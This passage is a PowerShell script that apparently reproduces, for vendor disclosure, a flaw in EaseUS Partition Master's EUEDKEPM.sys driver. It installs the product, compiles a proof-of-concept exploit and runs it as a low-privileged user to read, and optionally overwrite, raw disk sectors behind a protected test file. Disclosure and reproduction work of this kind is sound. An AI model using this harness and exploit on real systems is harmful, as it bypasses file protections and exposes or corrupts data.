        if ($line -match 'VCN:\s*0x[0-9a-fA-F]+\s+Clusters:\s*0x([0-9a-fA-F]+)\s+LCN:\s*0x([0-
9a-fA-F]+)') {
            $clusters = [Convert]::ToUInt64($Matches[1], 16)
            $lcn = [Convert]::ToUInt64($Matches[2], 16)
            break
        }
    }
    if ($bytesPerCluster -eq 0 -or $null -eq $lcn) { throw 'Could not parse NTFS data run.' }
    $partition = Get-Partition -DriveLetter R
    [uint64]$diskOffset = [uint64]$partition.Offset + ($lcn * $bytesPerCluster)
    [uint64]$runLength = $clusters * $bytesPerCluster
    $meta = [pscustomobject]@{
        marker = $marker
        vhd_path = (Join-Path $WorkRoot 'controlled_disk.vhd')
        disk_number = $DiskNumber
        drive_letter = 'R'
        partition_offset = [uint64]$partition.Offset
        bytes_per_cluster = $bytesPerCluster
        first_lcn = $lcn
        first_run_clusters = $clusters
        disk_offset = $diskOffset
        run_length = $runLength
```

```
        protected_file = $flag
    }
    $meta | ConvertTo-Json | Set-Content -LiteralPath (Join-Path $EvidenceDir
'test_object_metadata.json') -Encoding ascii
    return $meta
}

function Cleanup-Repro([string]$WorkRoot, [string]$InstallDir, [string]$EvidenceDir) {
    $cleanup = Join-Path $EvidenceDir 'cleanup_log.txt'
    "Cleanup started: $(Get-Date -Format o)" | Set-Content -LiteralPath $cleanup -Encoding
ascii
    try {
        $vhd = Join-Path $WorkRoot 'controlled_disk.vhd'
        if (Test-Path $vhd) { Dismount-DiskImage -ImagePath $vhd -ErrorAction SilentlyContinue
| Out-File -LiteralPath $cleanup -Append -Encoding ascii }
        (& sc.exe stop EUEDKEPMRepro 2>&1) | Out-File -LiteralPath $cleanup -Append -Encoding
ascii
        (& sc.exe delete EUEDKEPMRepro 2>&1) | Out-File -LiteralPath $cleanup -Append -
Encoding ascii
        Stop-ProductProcesses -InstallDir $InstallDir -EvidenceDir $EvidenceDir -LogName
'process_cleanup_before_uninstall.txt'
        $uninstallerPath = $null
        $uninstaller = Get-ChildItem -Path $InstallDir -Recurse -ErrorAction SilentlyContinue
-Filter 'unins*.exe' | Select-Object -First 1
        if ($uninstaller) { $uninstallerPath = $uninstaller.FullName }
        if (-not $uninstallerPath) {
            $keys =
'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*','HKLM:\Software\WOW6432Node\Micr
osoft\Windows\CurrentVersion\Uninstall\*'
            $entry = Get-ItemProperty $keys -ErrorAction SilentlyContinue | Where-Object {
$_.DisplayName -match 'EaseUS Partition Master' -and $_.InstallLocation -like "$InstallDir*" }
| Select-Object -First 1
            if ($entry -and $entry.UninstallString -match '"([^"]+)"') { $uninstallerPath =
$Matches[1] }
        }
        if ($uninstallerPath -and (Test-Path $uninstallerPath)) {
            $p = Start-Process -FilePath $uninstallerPath -ArgumentList
@('/VERYSILENT','/SUPPRESSMSGBOXES','/NORESTART') -WindowStyle Hidden -PassThru
            if ($p.WaitForExit(180000)) {
                "uninstaller exit=$($p.ExitCode)" | Add-Content -LiteralPath $cleanup -
```

```
Encoding ascii
            } else {
                Stop-Process -Id $p.Id -Force -ErrorAction SilentlyContinue
                'uninstaller timed out' | Add-Content -LiteralPath $cleanup -Encoding ascii
            }
        } else {
            'uninstaller not found; product process cleanup and test directory removal
attempted only' | Add-Content -LiteralPath $cleanup -Encoding ascii
        }
        Remove-OrphanProductRegistry -InstallDir $InstallDir -EvidenceDir $EvidenceDir -
LogName 'registry_cleanup_after_uninstall.txt'
        Remove-Item -LiteralPath $WorkRoot, $InstallDir -Recurse -Force -ErrorAction
SilentlyContinue
    } finally {
        "WorkRoot exists after cleanup: $(Test-Path $WorkRoot)" | Add-Content -LiteralPath
$cleanup -Encoding ascii
        "InstallDir exists after cleanup: $(Test-Path $InstallDir)" | Add-Content -LiteralPath
$cleanup -Encoding ascii
        "EUEDKEPMRepro service query after cleanup:" | Add-Content -LiteralPath $cleanup -
Encoding ascii
        (& sc.exe query EUEDKEPMRepro 2>&1) | Out-File -LiteralPath $cleanup -Append -Encoding
ascii
    }
}

Assert-Admin
$credential = Get-LowCredential
$packageDir = $PSScriptRoot
if ([string]::IsNullOrWhiteSpace($RepoRoot)) { $RepoRoot = (Resolve-Path (Join-Path
$packageDir '..\..\..')).Path }

$workRoot = 'C:\ProgramData\VendorRepro\easeus_euedkepm'
$evidenceTemp = 'C:\ProgramData\VendorRepro\easeus_euedkepm_evidence'
$installDir = 'C:\ProgramData\VendorRepro\easeus_partition_master'
$finalEvidence = Join-Path $packageDir 'evidence'
$installer = Join-Path $RepoRoot 'dev\downloads\easeus_epm\epm.exe'
$exploitSource = Join-Path $RepoRoot 'dev\poc\easeus_raw_forwarder_flag_rw_exploit.cs'
$exploitExe = Join-Path $RepoRoot 'dev\poc\bin\easeus_raw_forwarder_flag_rw_exploit.exe'

Remove-Item -LiteralPath $evidenceTemp -Recurse -Force -ErrorAction SilentlyContinue
```

```
New-Item -ItemType Directory -Force -Path $workRoot, $evidenceTemp | Out-Null
(& icacls.exe $workRoot /grant '*S-1-5-32-545:(OI)(CI)M') | Out-File -LiteralPath (Join-Path $evidenceTemp 'runtime_acl_setup.txt') -Encoding ascii
(& icacls.exe $evidenceTemp /grant '*S-1-5-32-545:(OI)(CI)M') | Out-File -LiteralPath (Join-Path $evidenceTemp 'evidence_acl_setup.txt') -Encoding ascii

try {
    Download-Installer $installer
    Compile-Exploit $exploitSource $exploitExe
    $installExit = Install-Product -Installer $installer -InstallDir $installDir -EvidenceDir $evidenceTemp
    if ($installExit -ne 0) {
        "Installer returned exit code $installExit; continuing only if the expected installed driver is already present." | Set-Content -LiteralPath (Join-Path $evidenceTemp 'installer_nonzero_continue.txt') -Encoding ascii
    }
    $driver = Find-Driver -InstallDir $installDir -DriverName 'EUEDKEPM.sys'
    if (-not $driver) { throw 'EUEDKEPM.sys was not found after installation.' }
    $loadInfo = Ensure-DriverLoaded -DriverPath $driver.FullName -EvidenceDir $evidenceTemp
    $driver = Get-Item -LiteralPath $loadInfo.DriverPath

    $diskNumber = Create-Vhd -WorkRoot $workRoot -EvidenceDir $evidenceTemp
    $meta = New-ProtectedFlag -DiskNumber ([uint32]$diskNumber) -WorkRoot $workRoot -EvidenceDir $evidenceTemp
    $status = Join-Path $evidenceTemp 'low_run_status.txt'
    'EaseUS EUEDKEPM low-user EXP run status' | Set-Content -LiteralPath $status -Encoding ascii
    $readOut = Join-Path $evidenceTemp 'exploit_read_clusters.bin'
    $null = Run-Low -Name 'low_exp_read' -FilePath $exploitExe -Credential $credential -StatusPath $status `
        -Stdout (Join-Path $evidenceTemp 'low_exp_read_stdout.txt') `
        -Stderr (Join-Path $evidenceTemp 'low_exp_read_stderr.txt') `
        -ArgumentList @('--device','EUEDKEPM','--mode','read','--disk',[string]$meta.disk_number,'--offset',[string]$meta.disk_offset,'--length',[string]$meta.run_length,'--flag-path',$meta.protected_file,'--expect-marker',$meta.marker,'--out',$readOut)

    $installerSig = Get-AuthenticodeSignature $installer
    $driverSig = Get-AuthenticodeSignature $driver.FullName
    [pscustomobject]@{
```

```
        product = 'EaseUS Partition Master'
        product_version = (Get-Item $installer).VersionInfo.ProductVersion
        download_url = 'http://download.easeus.com/free/epm.exe'
        file_name = 'epm.exe'
        installer_sha256 = (Get-FileHash $installer -Algorithm SHA256).Hash
        installer_signature_status = $installerSig.Status.ToString()
        installer_signer_subject = $installerSig.SignerCertificate.Subject
        driver_name = 'EUEDKEPM.sys'
        driver_path = $driver.FullName
        driver_sha256 = (Get-FileHash $driver.FullName -Algorithm SHA256).Hash
        driver_signature_status = $driverSig.Status.ToString()
        driver_signer_subject = $driverSig.SignerCertificate.Subject
        driver_load_method = $loadInfo.LoadMethod
        low_exploit = 'easeus_raw_forwarder_flag_rw_exploit.exe'
        low_exploit_sha256 = (Get-FileHash $exploitExe -Algorithm SHA256).Hash
        device_path = '\\.\EUEDKEPM\<disk>'
    } | ConvertTo-Json -Depth 4 | Set-Content -LiteralPath (Join-Path $evidenceTemp
'product_driver_metadata.json') -Encoding ascii

    if ($AttemptWrite) {
        try {
            $writeMarker = 'EASEUS-EUEDKEPM-WRITE-FLAG-' + [guid]::NewGuid().ToString()
            [pscustomobject]@{ write_marker = $writeMarker; disk_number = $meta.disk_number;
disk_offset = $meta.disk_offset; run_length = $meta.run_length } | ConvertTo-Json | Set-
Content -LiteralPath (Join-Path $evidenceTemp 'write_marker_metadata.json') -Encoding ascii
            (& mountvol.exe R: /p) | Out-File -LiteralPath (Join-Path $evidenceTemp
'volume_dismount_before_write.txt') -Encoding ascii
            Start-Sleep -Seconds 2
            $writeExit = Run-Low -Name 'low_exp_write' -FilePath $exploitExe -Credential
$credential -StatusPath $status -AllowFailure `
                -Stdout (Join-Path $evidenceTemp 'low_exp_write_stdout.txt') `
                -Stderr (Join-Path $evidenceTemp 'low_exp_write_stderr.txt') `
                -ArgumentList @('--device','EUEDKEPM','--mode','write','--
disk',[string]$meta.disk_number,'--offset',[string]$meta.disk_offset,'--
length',[string]$meta.run_length,'--write-marker',$writeMarker)

            Get-Partition -DiskNumber ([int]$meta.disk_number) | Where-Object { $_.Type -ne
'Reserved' } | Select-Object -First 1 | Set-Partition -NewDriveLetter R
            Start-Sleep -Seconds 2
            if ($writeExit -eq 0) {
```

```
                $afterBytes = [IO.File]::ReadAllBytes($meta.protected_file)
                $afterPrefix = [Text.Encoding]::ASCII.GetString($afterBytes, 0,
[Math]::Min(256, $afterBytes.Length))
                $found = $afterPrefix.Contains($writeMarker)
                [pscustomobject]@{ expected_write_marker = $writeMarker; marker_found =
$found; prefix = $afterPrefix } | ConvertTo-Json | Set-Content -LiteralPath (Join-Path
$evidenceTemp 'admin_verify_after_write.json') -Encoding ascii
                if ($found) {
                    'Write phase succeeded and was verified by admin readback from the
protected test file.' | Set-Content -LiteralPath (Join-Path $evidenceTemp
'write_phase_status.txt') -Encoding ascii
                } else {
                    'Write phase returned success but admin verification did not find the
write marker; read impact remains verified.' | Set-Content -LiteralPath (Join-Path
$evidenceTemp 'write_phase_status.txt') -Encoding ascii
                }
            } else {
                "Write phase low-user process exited $writeExit; read impact remains
verified." | Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_phase_status.txt') -
Encoding ascii
            }
        } catch {
            "Write phase failed non-fatally: $($_.Exception.Message). Read impact remains
verified." | Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_phase_status.txt') -
Encoding ascii
        }
    } else {
        'Write phase skipped by default; read-only protected-file disclosure proof completed.'
| Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_phase_skipped.txt') -Encoding ascii
    }

    if (-not $SkipCleanup) { Cleanup-Repro $workRoot $installDir $evidenceTemp }
    Remove-Item -LiteralPath $finalEvidence -Recurse -Force -ErrorAction SilentlyContinue
    New-Item -ItemType Directory -Force -Path $finalEvidence | Out-Null
    Copy-Item -Path (Join-Path $evidenceTemp '*') -Destination $finalEvidence -Force
    Write-Host "Reproduction complete. Evidence copied to $finalEvidence"
} catch {
    "BLOCKED_OR_FAILED: $($_.Exception.Message)" | Set-Content -LiteralPath (Join-Path
$evidenceTemp 'blocked_or_failed.txt') -Encoding ascii
    if (-not $SkipCleanup) { Cleanup-Repro $workRoot $installDir $evidenceTemp }
```

```
    Remove-Item -LiteralPath $finalEvidence -Recurse -Force -ErrorAction SilentlyContinue
    New-Item -ItemType Directory -Force -Path $finalEvidence | Out-Null
    Copy-Item -Path (Join-Path $evidenceTemp '*') -Destination $finalEvidence -Force -
ErrorAction SilentlyContinue
    throw
}
```

Revision #3
Created 2026-05-20 16:46:14 UTC by winslow
Updated 2026-06-20 21:23:50 UTC by winslow